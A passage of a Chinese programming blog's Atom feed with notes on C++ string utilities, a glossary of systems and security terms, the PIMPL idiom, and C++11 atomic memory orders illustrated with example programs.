&lt;h3 id=&quot;shi-yong-zheng-ze-biao-da-shi&quot;&gt;使用正则表达式&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;std::vector&amp;lt;std::string&amp;gt; stringSplit(const std::string&amp;amp; str, char delim) {
    std::string s;
    s.append(1, delim);
    std::regex reg(s);
    std::vector&amp;lt;std::string&amp;gt; elems(std::sregex_token_iterator(str.begin(), str.end(), reg, -1),
                                   std::sregex_token_iterator());
    return elems;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;stringstreamhe-getlinepei-he-shi-yong&quot;&gt;stringstream和getline配合使用&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;std::vector&amp;lt;std::string&amp;gt; stringSplit(const std::string&amp;amp; str, char delim) {
    std::stringstream ss(str);
    std::string item;
    std::vector&amp;lt;std::string&amp;gt; elems;
    while (std::getline(ss, item, delim)) {
        if (!item.empty()) {
            elems.push_back(item);
        }
    }
    return elems;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;string-trim&quot;&gt;string trim&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;s.erase(0, s.find_first_not_of(&amp;quot; &amp;quot;));
s.erase(s.find_last_not_of(&amp;quot; &amp;quot;));
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;ding-zhi-bi-jiao-han-shu-cmp&quot;&gt;定制比较函数cmp&lt;&#x2F;h2&gt;
&lt;p&gt;auto cmp = -&amp;gt;bool {
return i&amp;gt;j;
};
priority_queue&amp;lt;int,vector&lt;int&gt;,decltype(cmp)&amp;gt; pq;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;tou-wen-jian&quot;&gt;头文件&lt;&#x2F;h1&gt;
&lt;p&gt;&amp;lt;limits.h&amp;gt;&lt;br &#x2F;&gt;
&amp;lt;stdlib.h&amp;gt;&lt;br &#x2F;&gt;
&amp;lt;unistd.h&amp;gt;&lt;br &#x2F;&gt;
&lt;utility&gt;&lt;br &#x2F;&gt;
&lt;memory&gt;&lt;br &#x2F;&gt;
&lt;deque&gt;&lt;br &#x2F;&gt;
&lt;iterator&gt;&lt;br &#x2F;&gt;
&lt;queue&gt;&lt;br &#x2F;&gt;
&lt;stack&gt;&lt;br &#x2F;&gt;
&lt;list&gt;&lt;br &#x2F;&gt;
&lt;iostream&gt;&lt;br &#x2F;&gt;
&lt;iterator&gt;&lt;br &#x2F;&gt;
&lt;fstream&gt;&lt;br &#x2F;&gt;
&amp;lt;type_traits&amp;gt;&lt;br &#x2F;&gt;
&lt;algorithm&gt;&lt;br &#x2F;&gt;
&lt;numeric&gt;&lt;br &#x2F;&gt;
&lt;sstream&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;ming-ci-jie-shao&quot;&gt;名词介绍&lt;&#x2F;h1&gt;
&lt;p&gt;NLL：Non-lexical lifetimes (NLL Rust)&lt;&#x2F;p&gt;
&lt;p&gt;PV： P,V原语中P是荷兰语的Passeren，相当于英文的pass, V是荷兰语的Verhoog,相当于英文中的increment&lt;&#x2F;p&gt;
&lt;h1 id=&quot;comprehension&quot;&gt;comprehension&lt;&#x2F;h1&gt;
&lt;p&gt;ELF: Executable and Linking Format
pic: position-independent code
pie: position independent executable
got: Global Offset Table
plt: Procedure Linkage Table
GDT: Global Descriptor Table
LDT: Local Descriptor Table
LDT(Local Descriptor Table),与GDT不同的是,LDT在系统中可以存在多个,并且从LDT的名字可以得知,LDT不是全局可见的,它们只对引用它们的任务可见,每个任务最多可以拥有一个LDT,
另外,每一个LDT自身作为一个段存在,它们的段描述符被放在GDT中.
IDTR: 中断描述符表寄存器
ASLR: Address space layout randomization&lt;&#x2F;p&gt;
&lt;p&gt;payload(有效攻击负载):是包含在你用于一次漏洞利用(exploit)中的ShellCode中的主要功能代码
shellcode(可提权代码):对于一个漏洞来说,ShellCode就是一个用于某个漏洞的二进制代码框架,
有了这个框架你可以在这个ShellCode中包含你需要的Payload来做一些事情
shellcode---也是一种payload
exp(Exploit ):漏洞利用,一般是个demo程序
poc.(Proof of Concept):漏洞证明,一般就是个样本 用来证明和复现
vul(Vulnerability):漏洞
&quot;Pwn&quot;:是一个黑客语法的俚语词 ,是指攻破设备或者系统,from own
cve---漏洞编号，漏洞字典，国际上的
cnvd---漏洞编号，漏洞字典，咱们自己的
0day---没打补丁，没公开的漏洞
payload---渗透目标后执行的代码
apt---Advanced Persistent Threat  高级可持续性攻击
rop&lt;&#x2F;p&gt;
&lt;h1 id=&quot;ji-qiao-fang-fa&quot;&gt;技巧方法&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;原地哈希 使用负数&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;footprint&quot;&gt;footprint&lt;&#x2F;h1&gt;
&lt;p&gt;https:&#x2F;&#x2F;www.hakuya.work&#x2F;index.php&#x2F;2022&#x2F;07&#x2F;15&#x2F;225&#x2F;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;rust&quot;&gt;Rust&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;traitdui-xiang-xu-yao-lei-xing-an-quan&quot;&gt;trait对象需要类型安全&lt;&#x2F;h2&gt;
&lt;p&gt;只有对象安全（object-safe）的trait可以实现为特征对象。这里有一些复杂的规则来实现trait的对象安全，但在实践中，只有两个相关的规则。如果一个 trait 中定义的所有方法都符合以下规则，则该 trait 是对象安全的：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;返回值不是 &lt;code&gt;Self&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;没有泛型类型的参数&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;bian-liang-ming-ming&quot;&gt;变量命名&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;wei-shen-me-ding-yi-quan-ju-chang-liang-bian-liang-ming-qian-mian-wang-wang-jia-shang-yi-ge-k&quot;&gt;为什么定义全局常量变量名前面往往加上一个k?&lt;&#x2F;h2&gt;
&lt;p&gt;1、因为constant 的发音[ˈ&lt;em&gt;k&lt;&#x2F;em&gt;ɑ:nstənt]，为了简写就使用了k而不是c。&lt;&#x2F;p&gt;
&lt;p&gt;2、习惯的原因，以前的很多编程命名规范中，c代表char，一般不用c来做前缀指示常量；德语中konstant是常量的意思，同时数学上也经常用k来代表常量，因此常用k来做常量的前缀指示。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;suo-xie&quot;&gt;缩写&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;Shell&quot; class=&quot;language-Shell &quot;&gt;&lt;code class=&quot;language-Shell&quot; data-lang=&quot;Shell&quot;&gt;rcu: read copy update
cow: copy on write &amp;#x2F; eager copy
cas: compare and swap                                                       │
柯里化,偏函数,thunk,仿函数
协变, 逆变
ADT(Abstract Data Type)
代码中的魔鬼数字 : 在代码中没有具体含义的数字、字符串
SFINAE (Substitiution Faliure is Not an Error)
NTTP (non-type template parameter)
CRTP (Curiously Recurring Template Pattern):enable_shared_from_this
PIMPL (Private Implementation 或 Pointer to Implementation)
SSO(Small String Optimization)
std::pmr::memory_resource&amp;#x2F; pmr是polymorphic memory resource的缩写
AASI allocator aware software interface
GDT Global Descriptor Table: GDTR (GDT register)
LDT Local Descriptor Table 局部描述符表可以有若干张，每个任务可以有一张; 我们可以这样理解GDT和LDT：GDT为一级描述符表，LDT为二级描述符表
PCB (Processing Control Block)
TSS 段其实就是PCB中的一个子段
IoC Inversion of Control (控制反转&amp;#x2F;反转控制)
DI: Dependancy Injection(依赖注⼊)
AOP: Aspect oriented Programming ⾯向切⾯编程&amp;#x2F;⾯向⽅⾯编程
CVE(Common Vulnerabilities &amp;amp; Exposures)通用漏洞披露
CWE Common Weakness Enumeration 通用缺陷枚举
CLASP(Comprehensive Lightweight Application Security Process)
UAF(Use-After-Free)
RSI: Repetitive Strain Injury 腕管综合征
NLL: Non-lexical lifetimes
GOT: Global Offset Table
PLT: Procedure Linkage Table
RAII (Resource Acquisition Is Initialization)
RTTI: Runtime Type Information  意思是运行时类型信息，它提供了运行时确定对象类型的方法
CSRF: Cross-Site Request Forgery
CORS: Cross-Origin Resource Sharing
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;web-http-gai-nian&quot;&gt;web http 概念&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;Claims : 是JSON Web Token(JWT) 的核心概念，用于存储用户身份验证信息的结构化数据。
Trailer: HTTP协议中的Trailer头部字段， 用于分块传输编码（Chunked Transfer Encoding）的响应中，将某些HTTP头部字段延迟到消息体之后发送，如校验和，处理状态等，例如在最后的一个分块后附加响应头： Trailer: X-Checksum

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>PIMPL 模式</title>
        <published>2022-06-03T14:26:00+08:00</published>
        <updated>2022-06-03T14:26:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/06/PIMPL-模式/"/>
        <id>https://vercel.juzhong.asia/2022/06/PIMPL-模式/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/06/PIMPL-模式/">&lt;h1 id=&quot;pimpl-mo-shi&quot;&gt;PIMPL 模式&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;pimpl-hen-shi-yong-de-yi-chong-ji-chu-mo-shi&quot;&gt;PIMPL：很实用的一种基础模式。&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;pimpljie-shi&quot;&gt;PIMPL解释&lt;&#x2F;h1&gt;
&lt;p&gt;PIMPL（Private Implementation 或 Pointer to Implementation）是通过一个私有的成员指针，将指针所指向的类的内部实现数据进行隐藏。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;pimplde-you-dian&quot;&gt;PIMPL的优点：&lt;&#x2F;h1&gt;
&lt;p&gt;1）降低模块的耦合。因为隐藏了类的实现，被隐藏的类相当于原类不可见，对隐藏的类进行修改，不需要重新编译原类。
2）降低编译依赖，提高编译速度。指针的大小为（32位）或8（64位），X发生变化，指针大小却不会改变，文件c.h也不需要重编译。
3）接口与实现分离，提高接口的稳定性。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;pimpl-idiom-using-shared-ptr-working-with-incomplete-types&quot;&gt;Pimpl idiom using shared_ptr working with incomplete types&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;shared-ptrchu-li-bu-wan-zheng-lei-xing-de-pimplyong-fa&quot;&gt;shared_ptr处理不完整类型的Pimpl用法&lt;&#x2F;h2&gt;
&lt;p&gt;使用pimpl指向实现类unique_ptr,需要完整类型的特殊成员函数(例如析构函数)的问题.
这是因为unique_ptr在delete p之前,默认删除器静态断言要删除的类型是否完整.
所以任何类特殊的成员函数必须在实现文件中定义.&lt;&#x2F;p&gt;
&lt;p&gt;《Effective Modern C++》的Item22有详细讲解Pimpl, 其中提到如果使用的是shared_ptr智能指针,则不需要在实现文件中定义特殊的成员函数shared_ptr,这源于它支持自定义删除器的方式&lt;&#x2F;p&gt;
&lt;p&gt;pImpl指针的std::unique_ptr和std::shared_ptr之间的行为差异源于智能指针是否支持自定义删除器的不同.
对于std::unique_ptr,删除器的类型是智能指针类型的一部分,这使编译器可以生成更小的运行时数据结构和更快的运行时代码.这种更高效率的结果是,当使用编译器生成的特殊函数(例如,析构函数或移动操作)时,指向类型必须是完整的.
对于std::shared_ptr,删除器的类型不是智能指针类型的一部分.这需要更大的运行时数据结构和稍慢的代码,但是当使用编译器生成的特殊函数时,指向的类型不需要完整.&lt;&#x2F;p&gt;
&lt;p&gt;但是为什么shared_ptr没有完整类型的Pimpl仍然可以工作.
没有编译器错误的唯一原因似乎是shared_ptr没有像unique_ptr那样的静态断言,但是由于缺少断言是否可能会发生未定义的运行时行为????&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-deleter-s-created-position-for-shared-ptr&quot;&gt;the deleter&#x27;s created position for shared_ptr&lt;&#x2F;h2&gt;
&lt;p&gt;The deleter for a shared pointer is created here:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Widget::Widget(): pImpl(new Impl) {}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;until that point, all the shared pointer has is the equivalent of a std::funciton&amp;lt;void(Impl*)&amp;gt;.
When you construct a shared_ptr with a T*, it writes a deleter and stores it in the std::function equivalent. At that point the type must be complete.
So the only functions you have to define after Impl is fully defined are those that create a pImpl from a T* of some kind.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;qing-ji-zhu&quot;&gt;请记住：&lt;&#x2F;h1&gt;
&lt;p&gt;Pimpl惯用法通过减少在类实现和类使用者之间的编译依赖来减少编译时间。
对于std::unique_ptr类型的pImpl指针，需要在头文件的类里声明特殊的成员函数，但是在实现文件里面来实现他们。即使是编译器自动生成的代码可以工作，也要这么做。
以上的建议只适用于std::unique_ptr，不适用于std::shared_ptr。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;lian-jie&quot;&gt;链接&lt;&#x2F;h1&gt;
&lt;p&gt;https:&#x2F;&#x2F;github.com&#x2F;CnTransGroup&#x2F;EffectiveModernCppChinese&#x2F;blob&#x2F;master&#x2F;4.SmartPointers&#x2F;item22.md
https:&#x2F;&#x2F;www.zhihu.com&#x2F;question&#x2F;310052411&#x2F;answer&#x2F;2227432856
https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;40619984&#x2F;pimpl-idiom-using-shared-ptr-working-with-incomplete-types&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>cxx11内存顺序</title>
        <published>2022-06-01T17:41:42+08:00</published>
        <updated>2022-06-01T17:41:42+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/06/cxx11内存顺序/"/>
        <id>https://vercel.juzhong.asia/2022/06/cxx11内存顺序/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/06/cxx11内存顺序/">&lt;h1 id=&quot;cxx11nei-cun-shun-xu&quot;&gt;cxx11内存顺序&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;bei-jing&quot;&gt;背景&lt;&#x2F;h1&gt;
&lt;p&gt;x86_64和Sparc是强顺序模型（Total Store Order），这是一种接近程序顺序的顺序模型。所谓Total，就是说，内存（在写操作上）是有一个全局的顺序的（所有人看到的一样的顺序）， 就好像在内存上的每个Store动作必须有一个排队，一个弄完才轮到另一个，这个顺序和你的程序顺序直接相关。所有的行为组合只会是所有CPU内存程序顺序的交织，不会发生和程序顺序不一致的地方[4]。TSO模型有利于多线程程序的编写，对程序员更加友好，但对芯片实现者不友好。CPU为了TSO的承诺，会牺牲一些并发上的执行效率。弱内存模型（简称WMO，Weak Memory Ordering），是把是否要求强制顺序这个要求直接交给程序员的方法。换句话说，CPU不去保证这个顺序模型（除非他们在一个CPU上就有依赖）， 程序员要主动插入内存屏障指令来强化这个“可见性”[4]。ARMv8，PowerPC和MIPS等体系结构都是弱内存模型。每种弱内存模型的体系架构都有自己的内存屏障指令，语义也不完全相同。弱内存模型下，硬件实现起来相对简单，处理器执行的效率也高， 只要没有遇到显式的屏障指令，CPU可以对局部指令进行reorder以提高执行效率。对于多线程程序开发来说，对并发的数据访问我们一般到做同步操作， 可以使用mutex，semaphore，conditional等重量级方案对共享数据进行保护。但为了实现更高的并发，需要使用内存共享变量做通信（Message Passing）， 这就对程序员的要求很高了，程序员必须时时刻刻必须很清楚自己在做什么， 否则写出来的程序的执行行为会让人很是迷惑！值得一提的是，并发虽好，如果能够简单粗暴实现，就不要搞太多投机取巧！要实现lock-free无锁编程真的有点难。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;c-11-memory-order&quot;&gt;c++11 memory_order&lt;&#x2F;h1&gt;
&lt;p&gt;C11&#x2F;C++11使用memory order来描述memory model， 而用来联系memory order的是atomic变量， atomic操作可以用load()和release()语义来描述。一个简单的atomic变量赋值可描述为：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;atomic_var1.store (atomic_var2.load()); &amp;#x2F;&amp;#x2F; atomic variables
     vs
var1 = var2;                            &amp;#x2F;&amp;#x2F; regular variables
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;为了更好地描述内存模型，有4种关系术语需要了解一下。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;sequenced-before&quot;&gt;sequenced-before&lt;&#x2F;h2&gt;
&lt;p&gt;同一个线程之内，语句A的执行顺序在语句B前面，那么就成为A sequenced-before B。它不仅仅表示两个操作之间的先后顺序，还表示了操作结果之间的可见性关系。
两个操作A和操作B，如果有A sequenced-before B，除了表示操作A的顺序在B之前，还表示了操作A的结果操作B可见。例如：语句A是sequenced-before语句B的。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;r2 = x.load(std::memory_order_relaxed); &amp;#x2F;&amp;#x2F; A
y.store(42, std::memory_order_relaxed); &amp;#x2F;&amp;#x2F; B
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;happens-before&quot;&gt;happens-before&lt;&#x2F;h2&gt;
&lt;p&gt;happens-before关系表示的不同线程之间的操作先后顺序。
如果A happens-before B，则A的内存状态将在B操作执行之前就可见。
happends-before关系满足传递性、非自反性和非对称性。
happens before包含了inter-thread happens before和synchronizes-with两种关系。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;synchronizes-with&quot;&gt;synchronizes-with&lt;&#x2F;h2&gt;
&lt;p&gt;synchronizes-with关系强调的是变量被修改之后的传播关系（propagate），
即如果一个线程修改某变量的之后的结果能被其它线程可见，那么就是满足synchronizes-with关系的[9]。
另外synchronizes-with可以被认为是跨线程间的happends-before关系。显然，满足synchronizes-with关系的操作一定满足happens-before关系了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;carries-dependency&quot;&gt;Carries dependency&lt;&#x2F;h2&gt;
&lt;p&gt;同一个线程内，表达式A sequenced-before 表达式B，并且表达式B的值是受表达式A的影响的一种关系，
称之为&quot;Carries dependency&quot;。这个很好理解，例如：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;int *a = &amp;amp;var1;
int *b = &amp;amp;var2;
c = *a + *b;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;了解了上面一些基本概念，下面我们来一起学习一下内存模型吧。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;c11-c-11nei-cun-mo-xing&quot;&gt;C11&#x2F;C++11内存模型&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;06&#x2F;cxx11%E5%86%85%E5%AD%98%E9%A1%BA%E5%BA%8F&#x2F;image-20231225112409-plcoj9a.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;br &#x2F;&gt;
C&#x2F;C++11标准中提供了6种memory order，来描述内存模型[6]:enum memory_order {&lt;br &#x2F;&gt;
memory_order_relaxed,&lt;br &#x2F;&gt;
memory_order_consume,&lt;br &#x2F;&gt;
memory_order_acquire,&lt;br &#x2F;&gt;
memory_order_release,&lt;br &#x2F;&gt;
memory_order_acq_rel,&lt;br &#x2F;&gt;
memory_order_seq_cst&lt;br &#x2F;&gt;
};&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;06&#x2F;cxx11%E5%86%85%E5%AD%98%E9%A1%BA%E5%BA%8F&#x2F;image-20231225112417-08nah5u.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-1-memory-order-releaxed&quot;&gt;2.1 memory order releaxed&lt;&#x2F;h2&gt;
&lt;p&gt;relaxed表示一种最为宽松的内存操作约定，Relaxed ordering 仅仅保证load()和store()是原子操作， 除此之外，不提供任何跨线程的同步[5]。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;std::atomic&amp;lt;int&amp;gt; x = 0;     &amp;#x2F;&amp;#x2F; global variable
                   std::atomic&amp;lt;int&amp;gt; y = 0;     &amp;#x2F;&amp;#x2F; global variable
		  
Thread-1:                                  Thread-2:
r1 = y.load(memory_order_relaxed); &amp;#x2F;&amp;#x2F; A    r2 = x.load(memory_order_relaxed); &amp;#x2F;&amp;#x2F; C
x.store(r1, memory_order_relaxed); &amp;#x2F;&amp;#x2F; B    y.store(42, memory_order_relaxed); &amp;#x2F;&amp;#x2F; D
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面的多线程模型执行的时候，可能出现r2 == r1 == 42。要理解这一点并不难，因为CPU在执行的时候允许局部指令重排reorder，D可能在C前执行。如果程序的执行顺序是 D -&amp;gt; A -&amp;gt; B -&amp;gt; C，那么就会出现r1 == r2 == 42。如果某个操作只要求是原子操作，除此之外，不需要其它同步的保障，那么就可以使用 relaxed ordering。&lt;&#x2F;p&gt;
&lt;p&gt;程序计数器是一种典型的应用场景：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cassert&amp;gt;
#include &amp;lt;vector&amp;gt;
#include &amp;lt;iostream&amp;gt;
#include &amp;lt;thread&amp;gt;
#include &amp;lt;atomic&amp;gt;

std::atomic&amp;lt;int&amp;gt; cnt = {0};
void f()
{
    for (int n = 0; n &amp;lt; 1000; ++n) {
        cnt.fetch_add(1, std::memory_order_relaxed);
    }
}
int main()
{
    std::vector&amp;lt;std::thread&amp;gt; v;
    for (int n = 0; n &amp;lt; 10; ++n) {
        v.emplace_back(f);
    }
    for (auto&amp;amp; t : v) {
        t.join();
    }
    assert(cnt == 10000);    &amp;#x2F;&amp;#x2F; never failed
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;cnt是共享的全局变量，多个线程并发地对cnt执行RMW（Read Modify Write）原子操作。这里只保证cnt的原子性，其他有依赖cnt的地方不保证任何的同步。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-2-memory-order-consume&quot;&gt;2.2 memory order consume&lt;&#x2F;h2&gt;
&lt;p&gt;consume要搭配release一起使用。很多时候，线程间只想针对有依赖关系的操作进行同步， 除此之外线程中其他操作顺序如何不关心，这时候就适合用consume来完成这个操作。例如：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;b = *a;
c = *b
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;第二行的变量c依赖于第一行的执行结果，因此这两行代码是&quot;Carries dependency&quot;关系。显然，由于consume是针对有明确依赖关系的语句来限定其执行顺序的一种内存顺序， 而releaxed不提供任何顺序保证， 所以consume order要比releaxed order要更加地Strong。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;thread&amp;gt;
#include &amp;lt;atomic&amp;gt;
#include &amp;lt;cassert&amp;gt;
#include &amp;lt;string&amp;gt;

std::atomic&amp;lt;std::string*&amp;gt; ptr;
int data;

void producer()
{
    std::string* p  = new std::string(&amp;quot;Hello&amp;quot;);
    data = 42;
    ptr.store(p, std::memory_order_release);
}

void consumer()
{
    std::string* p2;
    while (!(p2 = ptr.load(std::memory_order_consume)))
        ;
    assert(*p2 == &amp;quot;Hello&amp;quot;);  &amp;#x2F;&amp;#x2F; never fires: *p2 carries dependency from ptr
    assert(data == 42);      &amp;#x2F;&amp;#x2F; may or may not fire: data does not carry dependency from ptr
}

int main()
{
    std::thread t1(producer);
    std::thread t2(consumer);
    t1.join();
    t2.join();
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;assert(*p2 == &quot;Hello&quot;)永远不会失败，但assert(data == 42)可能会。原因是：p2和ptr直接有依赖关系，但data和ptr没有直接依赖关系，尽管线程1中data赋值在ptr.store()之前，线程2看到的data的值还是不确定的。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-3-memory-order-acquire&quot;&gt;2.3 memory order acquire&lt;&#x2F;h2&gt;
&lt;p&gt;acquire和release也必须放到一起使用。 release和acquire构成了synchronize-with关系，也就是同步关系。在这个关系下：线程A中所有发生在release x之前的值的写操作， 对线程B的acquire x之后的任何操作都可见。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;thread&amp;gt;
#include &amp;lt;atomic&amp;gt;
#include &amp;lt;cassert&amp;gt;
#include &amp;lt;string&amp;gt;
#include &amp;lt;iostream&amp;gt;

std::atomic&amp;lt;bool&amp;gt; ready{ false };
int data = 0;
std::atomic&amp;lt;int&amp;gt; var = {0};

void sender()
{
    data = 42;                                              &amp;#x2F;&amp;#x2F; A
    var.store(100, std::memory_order_relaxed);              &amp;#x2F;&amp;#x2F; B
    ready.store(true, std::memory_order_release);           &amp;#x2F;&amp;#x2F; C
}
void receiver()
{
    while (!ready.load(std::memory_order_acquire))          &amp;#x2F;&amp;#x2F; D
        ;
    assert(data == 42);  &amp;#x2F;&amp;#x2F; never failed                    &amp;#x2F;&amp;#x2F; E
    assert(var == 100);  &amp;#x2F;&amp;#x2F; never failed                    &amp;#x2F;&amp;#x2F; F
}

int main()
{
    std::thread t1(sender);
    std::thread t2(receiver);
    t1.join();
    t2.join();
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面的例子中：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;sender线程中data = 42是sequence before原子变量ready的
sender和receiver在C和D处发生了同步线程
sender中C之前的所有读写对线程receiver都是可见的 显然， release和acquire组合在一起
比release和consume组合更加Strong！&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;2-4-memory-order-release&quot;&gt;2.4 memory order release&lt;&#x2F;h2&gt;
&lt;p&gt;release order一般不单独使用，它和acquire和consume组成2种独立的内存顺序搭配。这里就不用展开啰里啰嗦了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-5-memory-order-acq-rel&quot;&gt;2.5 memory order acq_rel&lt;&#x2F;h2&gt;
&lt;p&gt;acq_rel是acquire和release的叠加。&lt;&#x2F;p&gt;
&lt;p&gt;这里是一个例子，关于为什么要有acq_rel可以参考一下：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;thread&amp;gt;
#include &amp;lt;atomic&amp;gt;
#include &amp;lt;cassert&amp;gt;
#include &amp;lt;vector&amp;gt;
 
std::vector&amp;lt;int&amp;gt; data;
std::atomic&amp;lt;int&amp;gt; flag = {0};
 
void thread_1()
{
    data.push_back(42);
    flag.store(1, std::memory_order_release);
}
 
void thread_2()
{
    int expected=1;
    while (!flag.compare_exchange_strong(expected, 2, std::memory_order_acq_rel)) {
        expected = 1;
    }
}
 
void thread_3()
{
    while (flag.load(std::memory_order_acquire) &amp;lt; 2)
        ;
    assert(data.at(0) == 42); &amp;#x2F;&amp;#x2F; will never fire
}
 
int main()
{
    std::thread a(thread_1);
    std::thread b(thread_2);
    std::thread c(thread_3);
    a.join(); b.join(); c.join();
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;2-6-memory-order-seq-cst&quot;&gt;2.6 memory order seq_cst&lt;&#x2F;h2&gt;
&lt;p&gt;seq_cst表示顺序一致性内存模型，在这个模型约束下不仅同一个线程内的执行结果是和程序顺序一致的， 每个线程间互相看到的执行结果和程序顺序也保持顺序一致。显然，seq_cst的约束是最强的，这意味着要牺牲性能为代价。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;atomic int x (0);               atomic int y (0);
    x. store (1, seq cst );     ||      y. store (1, seq cst );
    int r1 = y.load( seq cst ); ||      int r2 = x.load( seq cst );
                assert (r1 == 1 || r2 == 1);

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;下面是一个seq_cst的实例：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;thread&amp;gt;
#include &amp;lt;atomic&amp;gt;
#include &amp;lt;cassert&amp;gt;
 
std::atomic&amp;lt;bool&amp;gt; x = {false};
std::atomic&amp;lt;bool&amp;gt; y = {false};
std::atomic&amp;lt;int&amp;gt; z = {0};
 
void write_x()
{
    x.store(true, std::memory_order_seq_cst);
}
 
void write_y()
{
    y.store(true, std::memory_order_seq_cst);
}
 
void read_x_then_y()
{
    while (!x.load(std::memory_order_seq_cst))
        ;
    if (y.load(std::memory_order_seq_cst)) {
        ++z;
    }
}
 
void read_y_then_x()
{
    while (!y.load(std::memory_order_seq_cst))
        ;
    if (x.load(std::memory_order_seq_cst)) {
        ++z;
    }
}
 
int main()
{
    std::thread a(write_x);
    std::thread b(write_y);
    std::thread c(read_x_then_y);
    std::thread d(read_y_then_x);
    a.join(); b.join(); c.join(); d.join();
    assert(z.load() != 0);  &amp;#x2F;&amp;#x2F; will never happen
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;2-7-relationship-with-volatile&quot;&gt;2.7 Relationship with volatile&lt;&#x2F;h2&gt;
&lt;p&gt;人的一生总是充满了疑惑。可能你会思考？volatile关键字能够防止指令被编译器优化，那它能提供线程间(inter-thread)同步语义吗？
答案是：不能！！！尽管volatile能够防止单个线程内对volatile变量进行reorder，但多个线程同时访问同一个volatile变量，线程间是完全不提供同步保证。
